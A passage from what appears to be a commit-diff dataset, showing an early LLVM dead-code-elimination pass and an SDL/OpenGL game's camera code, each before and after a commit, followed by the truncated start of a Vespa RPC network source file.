:(\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Optimizations\/DCE.h\"\n#include \"llvm\/Support\/STLExtras.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Method.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/iTerminators.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"llvm\/CFG.h\"\n#include <algorithm>\n\nusing namespace cfg;\n\nstruct ConstPoolDCE { \n enum { EndOffs = 0 };\n static bool isDCEable(const ConstPoolVal *CPV) {\n \/\/ TODO: The bytecode writer requires that all used types are in the\n \/\/ constant pool for the current method. This is messy and is really\n \/\/ irritating. FIXME\n return CPV->getType() != Type::TypeTy; \/\/ Don't DCE Type plane constants!\n }\n};\n\nstruct BasicBlockDCE {\n enum { EndOffs = 1 };\n static bool isDCEable(const Instruction *I) {\n return !I->hasSideEffects();\n }\n};\n\n\ntemplate<class Container, class DCEController>\nstatic bool RemoveUnusedDefs(Container &Vals, DCEController DCEControl) {\n bool Changed = false;\n int Offset = DCEController::EndOffs;\n\n for (typename Container::iterator DI = Vals.begin(); \n DI != Vals.end()-Offset; ) {\n \/\/ Look for un\"used\" definitions...\n if ((*DI)->use_empty() && DCEController::isDCEable(*DI)) {\n \/\/ Bye bye\n \/\/cerr << \"Removing: \" << *DI;\n delete Vals.remove(DI);\n Changed = true;\n } else {\n ++DI;\n }\n }\n return Changed;\n}\n\n\/\/ RemoveSingularPHIs - This removes PHI nodes from basic blocks that have only\n\/\/ a single predecessor. This means that the PHI node must only have a single\n\/\/ RHS value and can be eliminated.\n\/\/\n\/\/ This routine is very simple because we know that PHI nodes must be the first\n\/\/ things in a basic block, if they are present.\n\/\/\nstatic bool RemoveSingularPHIs(BasicBlock *BB) {\n pred_iterator PI(pred_begin(BB));\n if (PI == pred_end(BB) || ++PI != pred_end(BB)) \n return false; \/\/ More than one predecessor...\n\n Instruction *I = BB->front();\n if (!I->isPHINode()) return false; \/\/ No PHI nodes\n\n \/\/cerr << \"Killing PHIs from \" << BB;\n \/\/cerr << \"Pred #0 = \" << *pred_begin(BB);\n\n \/\/cerr << \"Method == \" << BB->getParent();\n\n do {\n PHINode *PN = (PHINode*)I;\n assert(PN->getNumOperands() == 2 && \"PHI node should only have one value!\");\n Value *V = PN->getOperand(0);\n\n PN->replaceAllUsesWith(V); \/\/ Replace PHI node with its single value.\n delete BB->getInstList().remove(BB->begin());\n\n I = BB->front();\n } while (I->isPHINode());\n\t\n return true; \/\/ Yes, we nuked at least one phi node\n}\n\nbool opt::DoRemoveUnusedConstants(SymTabValue *S) {\n bool Changed = false;\n ConstantPool &CP = S->getConstantPool();\n for (ConstantPool::plane_iterator PI = CP.begin(); PI != CP.end(); ++PI)\n Changed |= RemoveUnusedDefs(**PI, ConstPoolDCE());\n return Changed;\n}\n\nstatic void ReplaceUsesWithConstant(Instruction *I) {\n \/\/ Get the method level constant pool\n ConstantPool &CP = I->getParent()->getParent()->getConstantPool();\n\n ConstPoolVal *CPV = 0;\n ConstantPool::PlaneType *P;\n if (!CP.getPlane(I->getType(), P)) { \/\/ Does plane exist?\n \/\/ Yes, is it empty?\n if (!P->empty()) CPV = P->front();\n }\n\n if (CPV == 0) { \/\/ We don't have an existing constant to reuse. Just add one.\n CPV = ConstPoolVal::getNullConstant(I->getType()); \/\/ Create a new constant\n\n \/\/ Add the new value to the constant pool...\n CP.insert(CPV);\n }\n \n \/\/ Make all users of this instruction reference the constant instead\n I->replaceAllUsesWith(CPV);\n}\n\n\/\/ PropogatePredecessors - This gets \"Succ\" ready to have the predecessors from\n\/\/ \"BB\". This is a little tricky because \"Succ\" has PHI nodes, which need to\n\/\/ have extra slots added to them to hold the merge edges from BB's\n\/\/ predecessors.\n\/\/\n\/\/ Assumption: BB is the single predecessor of Succ.\n\/\/\nstatic void PropogatePredecessorsForPHIs(BasicBlock *BB, BasicBlock *Succ) {\n assert(Succ->front()->isPHINode() && \"Only works on PHId BBs!\");\n\n \/\/ If there is more than one predecessor, and there are PHI nodes in\n \/\/ the successor, then we need to add incoming edges for the PHI nodes\n \/\/\n const vector<BasicBlock*> BBPreds(pred_begin(BB), pred_end(BB));\n\n BasicBlock::iterator I = Succ->begin();\n do { \/\/ Loop over all of the PHI nodes in the successor BB\n PHINode *PN = (PHINode*)*I;\n Value *OldVal = PN->removeIncomingValue(BB);\n assert(OldVal && \"No entry in PHI for Pred BB!\");\n\n for (vector<BasicBlock*>::const_iterator PredI = BBPreds.begin(), \n\t End = BBPreds.end(); PredI != End; ++PredI) {\n \/\/ Add an incoming value for each of the new incoming values...\n PN->addIncoming(OldVal, *PredI);\n }\n\n ++I;\n } while ((*I)->isPHINode());\n}\n\n\n\/\/ SimplifyCFG - This function is used to do simplification of a CFG. For\n\/\/ example, it adjusts branches to branches to eliminate the extra hop, it\n\/\/ eliminates unreachable basic blocks, and does other \"peephole\" optimization\n\/\/ of the CFG. It returns true if a modification was made, and returns an \n\/\/ iterator that designates the first element remaining after the block that\n\/\/ was deleted.\n\/\/\n\/\/ WARNING: The entry node of a method may not be simplified.\n\/\/\nbool opt::SimplifyCFG(Method::iterator &BBIt) {\n assert(*BBIt && (*BBIt)->getParent() && \"Block not embedded in method!\");\n BasicBlock *BB = *BBIt;\n Method *M = BB->getParent();\n assert(BB->getTerminator() && \"Degenerate basic block encountered!\");\n assert(BB->getParent()->front() != BB && \"Can't Simplify entry block!\");\n\n \/\/ Remove basic blocks that have no predecessors... which are unreachable.\n if (pred_begin(BB) == pred_end(BB) &&\n !BB->hasConstantPoolReferences()) {\n \/\/cerr << \"Removing BB: \\n\" << BB;\n\n \/\/ Loop through all of our successors and make sure they know that one\n \/\/ of their predecessors is going away.\n for_each(succ_begin(BB), succ_end(BB),\n\t std::bind2nd(std::mem_fun(&BasicBlock::removePredecessor), BB));\n\n while (!BB->empty()) {\n Instruction *I = BB->back();\n \/\/ If this instruction is used, replace uses with an arbitrary\n \/\/ constant value. Because control flow can't get here, we don't care\n \/\/ what we replace the value with. Note that since this block is \n \/\/ unreachable, and all values contained within it must dominate their\n \/\/ uses, that all uses will eventually be removed.\n if (!I->use_empty()) ReplaceUsesWithConstant(I);\n \n \/\/ Remove the instruction from the basic block\n delete BB->getInstList().pop_back();\n }\n delete M->getBasicBlocks().remove(BBIt);\n return true;\n } \n\n \/\/ Check to see if this block has no instructions and only a single \n \/\/ successor. If so, replace block references with successor.\n succ_iterator SI(succ_begin(BB));\n if (SI != succ_end(BB) && ++SI == succ_end(BB)) { \/\/ One succ?\n Instruction *I = BB->front();\n if (I->isTerminator()) { \/\/ Terminator is the only instruction!\n BasicBlock *Succ = *succ_begin(BB); \/\/ There is exactly one successor\n \/\/cerr << \"Killing Trivial BB: \\n\" << BB;\n \n if (Succ != BB) { \/\/ Arg, don't hurt infinite loops!\n\tif (Succ->front()->isPHINode()) {\n\t \/\/ If our successor has PHI nodes, then we need to update them to\n\t \/\/ include entries for BB's predecessors, not for BB itself.\n\t \/\/\n\t PropogatePredecessorsForPHIs(BB, Succ);\n\t}\n\t\n\tBB->replaceAllUsesWith(Succ);\n\tBB = M->getBasicBlocks().remove(BBIt);\n\t\n\tif (BB->hasName() && !Succ->hasName()) \/\/ Transfer name if we can\n\t Succ->setName(BB->getName());\n\tdelete BB; \/\/ Delete basic block\n\t\n\t\/\/cerr << \"Method after removal: \\n\" << M;\n\treturn true;\n }\n }\n }\n\n \/\/ Merge basic blocks into their predecessor if there is only one pred, \n \/\/ and if there is only one successor of the predecessor. \n pred_iterator PI(pred_begin(BB));\n if (PI != pred_end(BB) && *PI != BB && \/\/ Not empty? Not same BB?\n ++PI == pred_end(BB) && !BB->hasConstantPoolReferences()) {\n BasicBlock *Pred = *pred_begin(BB);\n TerminatorInst *Term = Pred->getTerminator();\n assert(Term != 0 && \"malformed basic block without terminator!\");\n \n \/\/ Does the predecessor block only have a single successor?\n succ_iterator SI(succ_begin(Pred));\n if (++SI == succ_end(Pred)) {\n \/\/cerr << \"Merging: \" << BB << \"into: \" << Pred;\n \n \/\/ Delete the unconditianal branch from the predecessor...\n BasicBlock::iterator DI = Pred->end();\n assert(Pred->getTerminator() && \n\t \"Degenerate basic block encountered!\"); \/\/ Empty bb??? \n delete Pred->getInstList().remove(--DI); \/\/ Destroy uncond branch\n \n \/\/ Move all definitions in the succecessor to the predecessor...\n while (!BB->empty()) {\n\tDI = BB->begin();\n\tInstruction *Def = BB->getInstList().remove(DI); \/\/ Remove from front\n\tPred->getInstList().push_back(Def); \/\/ Add to end...\n }\n \n \/\/ Remove basic block from the method... and advance iterator to the\n \/\/ next valid block...\n BB = M->getBasicBlocks().remove(BBIt);\n\n \/\/ Make all PHI nodes that refered to BB now refer to Pred as their\n \/\/ source...\n BB->replaceAllUsesWith(Pred);\n \n \/\/ Inherit predecessors name if it exists...\n if (BB->hasName() && !Pred->hasName()) Pred->setName(BB->getName());\n \n delete BB; \/\/ You ARE the weakest link... goodbye\n return true;\n }\n }\n \n return false;\n}\n\nstatic bool DoDCEPass(Method *M) {\n Method::iterator BBIt, BBEnd = M->end();\n if (M->begin() == BBEnd) return false; \/\/ Nothing to do\n bool Changed = false;\n\n \/\/ Loop through now and remove instructions that have no uses...\n for (BBIt = M->begin(); BBIt != BBEnd; ++BBIt) {\n Changed |= RemoveUnusedDefs((*BBIt)->getInstList(), BasicBlockDCE());\n Changed |= RemoveSingularPHIs(*BBIt);\n }\n\n \/\/ Loop over all of the basic blocks (except the first one) and remove them\n \/\/ if they are unneeded...\n \/\/\n for (BBIt = M->begin(), ++BBIt; BBIt != M->end(); ) {\n if (opt::SimplifyCFG(BBIt)) {\n Changed = true;\n } else {\n ++BBIt;\n }\n }\n\n \/\/ Remove unused constants\n return Changed | opt::DoRemoveUnusedConstants(M);\n}\n\n\n\/\/ It is possible that we may require multiple passes over the code to fully\n\/\/ eliminate dead code. Iterate until we are done.\n\/\/\nbool opt::DoDeadCodeElimination(Method *M) {\n bool Changed = false;\n while (DoDCEPass(M)) Changed = true;\n return Changed;\n}\n\nbool opt::DoDeadCodeElimination(Module *C) { \n bool Val = C->reduceApply(DoDeadCodeElimination);\n\n while (DoRemoveUnusedConstants(C)) Val = true;\n return Val;\n}\n<commit_msg>Enable the elimination of method prototypes that are not referenced<commit_after>\/\/===- DCE.cpp - Code to perform dead code elimination --------------------===\/\/\n\/\/\n\/\/ This file implements dead code elimination and basic block merging.\n\/\/\n\/\/ Specifically, this:\n\/\/ * removes definitions with no uses (including unused constants)\n\/\/ * removes basic blocks with no predecessors\n\/\/ * merges a basic block into its predecessor if there is only one and the\n\/\/ predecessor only has one successor.\n\/\/ * Eliminates PHI nodes for basic blocks with a single predecessor\n\/\/ * Eliminates a basic block that only contains an unconditional branch\n\/\/ * Eliminates method prototypes that are not referenced\n\/\/\n\/\/ TODO: This should REALLY be worklist driven instead of iterative. Right now,\n\/\/ we scan linearly through values, removing unused ones as we go. The problem\n\/\/ is that this may cause other earlier values to become unused. To make sure\n\/\/ that we get them all, we iterate until things stop changing. Instead, when \n\/\/ removing a value, recheck all of its operands to see if they are now unused.\n\/\/ Piece of cake, and more efficient as well. \n\/\/\n\/\/ Note, this is not trivial, because we have to worry about invalidating \n\/\/ iterators. :(\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Optimizations\/DCE.h\"\n#include \"llvm\/Support\/STLExtras.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Method.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/iTerminators.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"llvm\/CFG.h\"\n#include <algorithm>\n\nusing namespace cfg;\n\nstruct ConstPoolDCE { \n enum { EndOffs = 0 };\n static bool isDCEable(const ConstPoolVal *CPV) {\n \/\/ TODO: The bytecode writer requires that all used types are in the\n \/\/ constant pool for the current method. This is messy and is really\n \/\/ irritating. FIXME\n return CPV->getType() != Type::TypeTy; \/\/ Don't DCE Type plane constants!\n }\n};\n\nstruct BasicBlockDCE {\n enum { EndOffs = 1 };\n static bool isDCEable(const Instruction *I) {\n return !I->hasSideEffects();\n }\n};\n\n\ntemplate<class Container, class DCEController>\nstatic bool RemoveUnusedDefs(Container &Vals, DCEController DCEControl) {\n bool Changed = false;\n int Offset = DCEController::EndOffs;\n\n for (typename Container::iterator DI = Vals.begin(); \n DI != Vals.end()-Offset; ) {\n \/\/ Look for un\"used\" definitions...\n if ((*DI)->use_empty() && DCEController::isDCEable(*DI)) {\n \/\/ Bye bye\n \/\/cerr << \"Removing: \" << *DI;\n delete Vals.remove(DI);\n Changed = true;\n } else {\n ++DI;\n }\n }\n return Changed;\n}\n\n\/\/ RemoveSingularPHIs - This removes PHI nodes from basic blocks that have only\n\/\/ a single predecessor. This means that the PHI node must only have a single\n\/\/ RHS value and can be eliminated.\n\/\/\n\/\/ This routine is very simple because we know that PHI nodes must be the first\n\/\/ things in a basic block, if they are present.\n\/\/\nstatic bool RemoveSingularPHIs(BasicBlock *BB) {\n pred_iterator PI(pred_begin(BB));\n if (PI == pred_end(BB) || ++PI != pred_end(BB)) \n return false; \/\/ More than one predecessor...\n\n Instruction *I = BB->front();\n if (!I->isPHINode()) return false; \/\/ No PHI nodes\n\n \/\/cerr << \"Killing PHIs from \" << BB;\n \/\/cerr << \"Pred #0 = \" << *pred_begin(BB);\n\n \/\/cerr << \"Method == \" << BB->getParent();\n\n do {\n PHINode *PN = (PHINode*)I;\n assert(PN->getNumOperands() == 2 && \"PHI node should only have one value!\");\n Value *V = PN->getOperand(0);\n\n PN->replaceAllUsesWith(V); \/\/ Replace PHI node with its single value.\n delete BB->getInstList().remove(BB->begin());\n\n I = BB->front();\n } while (I->isPHINode());\n\t\n return true; \/\/ Yes, we nuked at least one phi node\n}\n\nbool opt::DoRemoveUnusedConstants(SymTabValue *S) {\n bool Changed = false;\n ConstantPool &CP = S->getConstantPool();\n for (ConstantPool::plane_iterator PI = CP.begin(); PI != CP.end(); ++PI)\n Changed |= RemoveUnusedDefs(**PI, ConstPoolDCE());\n return Changed;\n}\n\nstatic void ReplaceUsesWithConstant(Instruction *I) {\n \/\/ Get the method level constant pool\n ConstantPool &CP = I->getParent()->getParent()->getConstantPool();\n\n ConstPoolVal *CPV = 0;\n ConstantPool::PlaneType *P;\n if (!CP.getPlane(I->getType(), P)) { \/\/ Does plane exist?\n \/\/ Yes, is it empty?\n if (!P->empty()) CPV = P->front();\n }\n\n if (CPV == 0) { \/\/ We don't have an existing constant to reuse. Just add one.\n CPV = ConstPoolVal::getNullConstant(I->getType()); \/\/ Create a new constant\n\n \/\/ Add the new value to the constant pool...\n CP.insert(CPV);\n }\n \n \/\/ Make all users of this instruction reference the constant instead\n I->replaceAllUsesWith(CPV);\n}\n\n\/\/ PropogatePredecessors - This gets \"Succ\" ready to have the predecessors from\n\/\/ \"BB\". This is a little tricky because \"Succ\" has PHI nodes, which need to\n\/\/ have extra slots added to them to hold the merge edges from BB's\n\/\/ predecessors.\n\/\/\n\/\/ Assumption: BB is the single predecessor of Succ.\n\/\/\nstatic void PropogatePredecessorsForPHIs(BasicBlock *BB, BasicBlock *Succ) {\n assert(Succ->front()->isPHINode() && \"Only works on PHId BBs!\");\n\n \/\/ If there is more than one predecessor, and there are PHI nodes in\n \/\/ the successor, then we need to add incoming edges for the PHI nodes\n \/\/\n const vector<BasicBlock*> BBPreds(pred_begin(BB), pred_end(BB));\n\n BasicBlock::iterator I = Succ->begin();\n do { \/\/ Loop over all of the PHI nodes in the successor BB\n PHINode *PN = (PHINode*)*I;\n Value *OldVal = PN->removeIncomingValue(BB);\n assert(OldVal && \"No entry in PHI for Pred BB!\");\n\n for (vector<BasicBlock*>::const_iterator PredI = BBPreds.begin(), \n\t End = BBPreds.end(); PredI != End; ++PredI) {\n \/\/ Add an incoming value for each of the new incoming values...\n PN->addIncoming(OldVal, *PredI);\n }\n\n ++I;\n } while ((*I)->isPHINode());\n}\n\n\n\/\/ SimplifyCFG - This function is used to do simplification of a CFG. For\n\/\/ example, it adjusts branches to branches to eliminate the extra hop, it\n\/\/ eliminates unreachable basic blocks, and does other \"peephole\" optimization\n\/\/ of the CFG. It returns true if a modification was made, and returns an \n\/\/ iterator that designates the first element remaining after the block that\n\/\/ was deleted.\n\/\/\n\/\/ WARNING: The entry node of a method may not be simplified.\n\/\/\nbool opt::SimplifyCFG(Method::iterator &BBIt) {\n assert(*BBIt && (*BBIt)->getParent() && \"Block not embedded in method!\");\n BasicBlock *BB = *BBIt;\n Method *M = BB->getParent();\n assert(BB->getTerminator() && \"Degenerate basic block encountered!\");\n assert(BB->getParent()->front() != BB && \"Can't Simplify entry block!\");\n\n \/\/ Remove basic blocks that have no predecessors... which are unreachable.\n if (pred_begin(BB) == pred_end(BB) &&\n !BB->hasConstantPoolReferences()) {\n \/\/cerr << \"Removing BB: \\n\" << BB;\n\n \/\/ Loop through all of our successors and make sure they know that one\n \/\/ of their predecessors is going away.\n for_each(succ_begin(BB), succ_end(BB),\n\t std::bind2nd(std::mem_fun(&BasicBlock::removePredecessor), BB));\n\n while (!BB->empty()) {\n Instruction *I = BB->back();\n \/\/ If this instruction is used, replace uses with an arbitrary\n \/\/ constant value. Because control flow can't get here, we don't care\n \/\/ what we replace the value with. Note that since this block is \n \/\/ unreachable, and all values contained within it must dominate their\n \/\/ uses, that all uses will eventually be removed.\n if (!I->use_empty()) ReplaceUsesWithConstant(I);\n \n \/\/ Remove the instruction from the basic block\n delete BB->getInstList().pop_back();\n }\n delete M->getBasicBlocks().remove(BBIt);\n return true;\n } \n\n \/\/ Check to see if this block has no instructions and only a single \n \/\/ successor. If so, replace block references with successor.\n succ_iterator SI(succ_begin(BB));\n if (SI != succ_end(BB) && ++SI == succ_end(BB)) { \/\/ One succ?\n Instruction *I = BB->front();\n if (I->isTerminator()) { \/\/ Terminator is the only instruction!\n BasicBlock *Succ = *succ_begin(BB); \/\/ There is exactly one successor\n \/\/cerr << \"Killing Trivial BB: \\n\" << BB;\n \n if (Succ != BB) { \/\/ Arg, don't hurt infinite loops!\n\tif (Succ->front()->isPHINode()) {\n\t \/\/ If our successor has PHI nodes, then we need to update them to\n\t \/\/ include entries for BB's predecessors, not for BB itself.\n\t \/\/\n\t PropogatePredecessorsForPHIs(BB, Succ);\n\t}\n\t\n\tBB->replaceAllUsesWith(Succ);\n\tBB = M->getBasicBlocks().remove(BBIt);\n\t\n\tif (BB->hasName() && !Succ->hasName()) \/\/ Transfer name if we can\n\t Succ->setName(BB->getName());\n\tdelete BB; \/\/ Delete basic block\n\t\n\t\/\/cerr << \"Method after removal: \\n\" << M;\n\treturn true;\n }\n }\n }\n\n \/\/ Merge basic blocks into their predecessor if there is only one pred, \n \/\/ and if there is only one successor of the predecessor. \n pred_iterator PI(pred_begin(BB));\n if (PI != pred_end(BB) && *PI != BB && \/\/ Not empty? Not same BB?\n ++PI == pred_end(BB) && !BB->hasConstantPoolReferences()) {\n BasicBlock *Pred = *pred_begin(BB);\n TerminatorInst *Term = Pred->getTerminator();\n assert(Term != 0 && \"malformed basic block without terminator!\");\n \n \/\/ Does the predecessor block only have a single successor?\n succ_iterator SI(succ_begin(Pred));\n if (++SI == succ_end(Pred)) {\n \/\/cerr << \"Merging: \" << BB << \"into: \" << Pred;\n \n \/\/ Delete the unconditianal branch from the predecessor...\n BasicBlock::iterator DI = Pred->end();\n assert(Pred->getTerminator() && \n\t \"Degenerate basic block encountered!\"); \/\/ Empty bb??? \n delete Pred->getInstList().remove(--DI); \/\/ Destroy uncond branch\n \n \/\/ Move all definitions in the succecessor to the predecessor...\n while (!BB->empty()) {\n\tDI = BB->begin();\n\tInstruction *Def = BB->getInstList().remove(DI); \/\/ Remove from front\n\tPred->getInstList().push_back(Def); \/\/ Add to end...\n }\n \n \/\/ Remove basic block from the method... and advance iterator to the\n \/\/ next valid block...\n BB = M->getBasicBlocks().remove(BBIt);\n\n \/\/ Make all PHI nodes that refered to BB now refer to Pred as their\n \/\/ source...\n BB->replaceAllUsesWith(Pred);\n \n \/\/ Inherit predecessors name if it exists...\n if (BB->hasName() && !Pred->hasName()) Pred->setName(BB->getName());\n \n delete BB; \/\/ You ARE the weakest link... goodbye\n return true;\n }\n }\n \n return false;\n}\n\nstatic bool DoDCEPass(Method *M) {\n Method::iterator BBIt, BBEnd = M->end();\n if (M->begin() == BBEnd) return false; \/\/ Nothing to do\n bool Changed = false;\n\n \/\/ Loop through now and remove instructions that have no uses...\n for (BBIt = M->begin(); BBIt != BBEnd; ++BBIt) {\n Changed |= RemoveUnusedDefs((*BBIt)->getInstList(), BasicBlockDCE());\n Changed |= RemoveSingularPHIs(*BBIt);\n }\n\n \/\/ Loop over all of the basic blocks (except the first one) and remove them\n \/\/ if they are unneeded...\n \/\/\n for (BBIt = M->begin(), ++BBIt; BBIt != M->end(); ) {\n if (opt::SimplifyCFG(BBIt)) {\n Changed = true;\n } else {\n ++BBIt;\n }\n }\n\n \/\/ Remove unused constants\n return Changed | opt::DoRemoveUnusedConstants(M);\n}\n\n\n\/\/ It is possible that we may require multiple passes over the code to fully\n\/\/ eliminate dead code. Iterate until we are done.\n\/\/\nbool opt::DoDeadCodeElimination(Method *M) {\n bool Changed = false;\n while (DoDCEPass(M)) Changed = true;\n return Changed;\n}\n\nbool opt::DoDeadCodeElimination(Module *Mod) {\n bool Changed = false;\n\n for (Module::iterator MI = Mod->begin(); MI != Mod->end(); ) {\n Method *Meth = *MI;\n if (!Meth->isExternal()) { \/\/ DCE normal methods\n Changed |= DoDeadCodeElimination(Meth);\n ++MI; \/\/ Next method please\n } else if (Meth->use_size() == 0) { \/\/ No references to prototype?\n \/\/cerr << \"Removing method proto: \" << Meth->getName() << endl;\n delete Mod->getMethodList().remove(MI); \/\/ Remove prototype\n \/\/ Remove moves iterator to point to the next one automatically\n } else {\n ++MI; \/\/ Skip prototype in use.\n }\n }\n\n while (DoRemoveUnusedConstants(Mod)) Changed = true;\n return Changed;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <SDL_opengl.h>\n#include <SDL.h>\n\n#include <algorithm>\n#include <cmath>\n\n#include \"game.hxx\"\n#include \"player.hxx\"\n#include \"globals.hxx\"\n#include \"music_player.hxx\"\n\n#define ACCEL -0.015f\n#define MIN_CONV 0.5f\n#define MAX_CONV 2.5f\n\nusing namespace std;\n\nGame::Game()\n: currentConvulsion(0), targetConvulsion(1),\n playerAmplitude(0),\n enemyFactory(*this),\n speed(-2.0f)\n{\n player = new Player(&field, &distortion, getNearClippingPlane(),\n &playerDeath, this);\n field.add(player);\n}\n\nGame::~Game() {}\n\nvoid Game::update(float et) {\n float distortionDiff = targetConvulsion - currentConvulsion;\n distortionDiff *= pow(0.1f, et);\n currentConvulsion = targetConvulsion - distortionDiff;\n distortion.setConvulsionMult(currentConvulsion);\n\n if (player)\n player->setAmplitude(playerAmplitude);\n\n enemyFactory.update(et, -speed);\n tunnel.update(et);\n field.update(et);\n\n float oldNear = getNearClippingPlane();\n speed += ACCEL*et;\n float nearDelta = getNearClippingPlane() - oldNear;\n float shift = speed*et;\n if (player) {\n player->shotSpeed = -speed;\n\n float oldz = player->getZ();\n player->advance(shift, nearDelta);\n if (player)\n shift = player->getZ() - oldz + nearDelta;\n }\n\n field.translateZ(shift);\n tunnel.translateZ(shift);\n distortion.translateZ(shift, -speed);\n}\n\nvoid Game::configureGL() {\n glEnable(GL_FOG);\n glFogi(GL_FOG_MODE, GL_LINEAR);\n glFogf(GL_FOG_DENSITY, 0.25f);\n glFogf(GL_FOG_START, max(1.0f, getNearClippingPlane()));\n glFogf(GL_FOG_END, max(1.1f, 1.1f*getSpawnDistance()));\n\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n glFrustum(-1, 1, -vheight, vheight, getNearClippingPlane(), 128.0f);\n glScalef(2.0f, 2.0f, 1);\n glTranslatef(-0.5f, -vheight\/2.0f, 0);\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n}\n\nvoid Game::draw() {\n glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT);\n tunnel.draw(distortion);\n field.draw();\n}\n\nvoid Game::motion(float x,float) {\n if (player)\n player->move(x);\n}\n\nvoid Game::button(unsigned button) {\n if (player) {\n if (button == SDL_BUTTON_LEFT)\n player->jump();\n }\n}\n\nbool Game::running() const {\n return !!player;\n}\n\nvoid Game::playerDeath(void* that) {\n ((Game*)that)->player = NULL;\n}\n\nfloat Game::getNearClippingPlane() const {\n return -1.5f\/speed;\n}\n\nfloat Game::getSpawnDistance() const {\n return min(8*-speed, Tunnel::gridLength*Tunnel::gsqlen\/2);\n}\n\nfloat Game::getPlayerX() const {\n return player? player->getX() : 0.5f;\n}\n\nstatic void amplitudeCallback(void* thisVoid, float amp) {\n ((Game*)thisVoid)->amplitude(amp);\n}\n\nvoid Game::amplitude(float amp) {\n \/\/ XXX Minor threading issues here; we could see a partial floating-point\n \/\/ update. Oh well.\n targetConvulsion = amp*(MAX_CONV - MIN_CONV) + MIN_CONV;\n playerAmplitude = amp;\n}\n\nvoid Game::startMusic(const char*const* list, unsigned len) {\n mixer.play(new MusicPlayer(list, len, amplitudeCallback, this), 0x7FFF);\n}\n<commit_msg>Use a perspective which more closely follows the player.<commit_after>#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <SDL_opengl.h>\n#include <SDL.h>\n\n#include <algorithm>\n#include <cmath>\n\n#include \"game.hxx\"\n#include \"player.hxx\"\n#include \"globals.hxx\"\n#include \"music_player.hxx\"\n\n#define ACCEL -0.015f\n#define MIN_CONV 0.5f\n#define MAX_CONV 2.5f\n\nusing namespace std;\n\nGame::Game()\n: currentConvulsion(0), targetConvulsion(1),\n playerAmplitude(0),\n enemyFactory(*this),\n speed(-2.0f)\n{\n player = new Player(&field, &distortion, getNearClippingPlane(),\n &playerDeath, this);\n field.add(player);\n}\n\nGame::~Game() {}\n\nvoid Game::update(float et) {\n float distortionDiff = targetConvulsion - currentConvulsion;\n distortionDiff *= pow(0.1f, et);\n currentConvulsion = targetConvulsion - distortionDiff;\n distortion.setConvulsionMult(currentConvulsion);\n\n if (player)\n player->setAmplitude(playerAmplitude);\n\n enemyFactory.update(et, -speed);\n tunnel.update(et);\n field.update(et);\n\n float oldNear = getNearClippingPlane();\n speed += ACCEL*et;\n float nearDelta = getNearClippingPlane() - oldNear;\n float shift = speed*et;\n if (player) {\n player->shotSpeed = -speed;\n\n float oldz = player->getZ();\n player->advance(shift, nearDelta);\n if (player)\n shift = player->getZ() - oldz + nearDelta;\n }\n\n field.translateZ(shift);\n tunnel.translateZ(shift);\n distortion.translateZ(shift, -speed);\n}\n\nvoid Game::configureGL() {\n glEnable(GL_FOG);\n glFogi(GL_FOG_MODE, GL_LINEAR);\n glFogf(GL_FOG_DENSITY, 0.25f);\n glFogf(GL_FOG_START, max(1.0f, getNearClippingPlane()));\n glFogf(GL_FOG_END, max(1.1f, 1.1f*getSpawnDistance()));\n\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n glFrustum(-1\/10.0f, 1\/10.0f, -vheight\/10.0f, vheight\/10.0f,\n getNearClippingPlane(), 128.0f);\n glScalef(2.0f, 2.0f, 1);\n float tx, ty;\n if (player) {\n tx = - (player->x - 0.5f)*0.9f - 0.5f;\n ty = -vheight\/3.0f - player->y;\n } else {\n tx = -0.5f;\n ty = -vheight\/3.0f;\n }\n\n glTranslatef(tx, ty, -0.5f);\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n}\n\nvoid Game::draw() {\n glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT);\n tunnel.draw(distortion);\n field.draw();\n}\n\nvoid Game::motion(float x,float) {\n if (player)\n player->move(x);\n}\n\nvoid Game::button(unsigned button) {\n if (player) {\n if (button == SDL_BUTTON_LEFT)\n player->jump();\n }\n}\n\nbool Game::running() const {\n return !!player;\n}\n\nvoid Game::playerDeath(void* that) {\n ((Game*)that)->player = NULL;\n}\n\nfloat Game::getNearClippingPlane() const {\n return -1.5f\/speed\/10.0f;\n}\n\nfloat Game::getSpawnDistance() const {\n return min(8*-speed, Tunnel::gridLength*Tunnel::gsqlen\/2);\n}\n\nfloat Game::getPlayerX() const {\n return player? player->getX() : 0.5f;\n}\n\nstatic void amplitudeCallback(void* thisVoid, float amp) {\n ((Game*)thisVoid)->amplitude(amp);\n}\n\nvoid Game::amplitude(float amp) {\n \/\/ XXX Minor threading issues here; we could see a partial floating-point\n \/\/ update. Oh well.\n targetConvulsion = amp*(MAX_CONV - MIN_CONV) + MIN_CONV;\n playerAmplitude = amp;\n}\n\nvoid Game::startMusic(const char*const* list, unsigned len) {\n mixer.play(new MusicPlayer(list, len, amplitudeCallback, this), 0x7FFF);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"rpcnetwork.h\"\n#include \"rpcservicepool.h\"\n#include \"rpcsendv2.h\"\n#include \"rpctargetpool.h\"\n#include \"rpcnetworkparams.h\"\n#include <vespa\/fnet\/frt\/supervisor.h>\n#include <vespa\/fnet\/scheduler.h>\n#include <vespa\/fnet\/transport.h>\n#include <vespa\/messagebus\/emptyreply.h>\n#include <vespa\/messagebus\/errorcode.h>\n#include <vespa\/messagebus\/iprotocol.h>\n#include <vespa\/messagebus\/routing\/routingnode.h>\n#include <vespa\/slobrok\/sbmirror.h>\n#include <vespa\/slobrok\/sbregister.h>\n#include 